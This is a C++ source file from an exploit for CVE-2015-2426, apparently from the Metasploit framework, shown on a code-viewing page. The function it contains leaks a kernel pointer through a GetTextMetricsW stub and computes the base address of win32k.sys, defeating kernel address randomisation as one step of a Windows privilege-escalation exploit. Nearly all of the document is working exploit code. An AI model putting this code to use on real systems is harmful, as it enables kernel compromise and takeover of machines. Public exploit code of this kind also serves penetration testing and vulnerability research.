Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp
Views: 11789
#include <Windows.h>1#include "Win32kLeaker.h"2#include <intrin.h>34extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD);5static const int InfoLeakBuffer = 0x40000000;67// Don't make a const so the compiler stores it on .data8static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00;910// Leak the base address of `win32k.sys`. This infoleak is slightly different from11// the standalone infoleak because we need to handle the position-independent nature12// of this exploit.13ULONGLONG LeakWin32kAddress() {14ULONGLONG win32kBaseAddr = 0;15HDC hdc = NULL;16DWORD hi = 0;17DWORD lo = 0;1819VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);2021hdc = CreateCompatibleDC(NULL);22if (hdc == NULL) {23return NULL;24}2526// Leak the address and retrieve it from `buffer`.27MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44);2829hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address30lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address3132// Check: High DWORD should be a kernel-mode address (i.e.33// 0xffff0800`00000000). We make the check stricter by checking for a34// subset of kernel-mode addresses.35if ((hi & 0xfffff000) != 0xfffff000) {36return NULL;37}3839// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using40// the following computation.41win32kBaseAddr = ((ULONGLONG)hi << 32) | lo;4243// Adjust for offset to get base address of `win32k.sys`.44win32kBaseAddr = win32kBaseAddr - InfoLeakOffset;4546// Check: Base address of `win32k.sys` should be of the form47// 0xFFFFFxxx`00xxx000.48if ((win32kBaseAddr & 0xff000fff) != 0) {49return NULL;50}5152DeleteDC(hdc);53return win32kBaseAddr;54}5556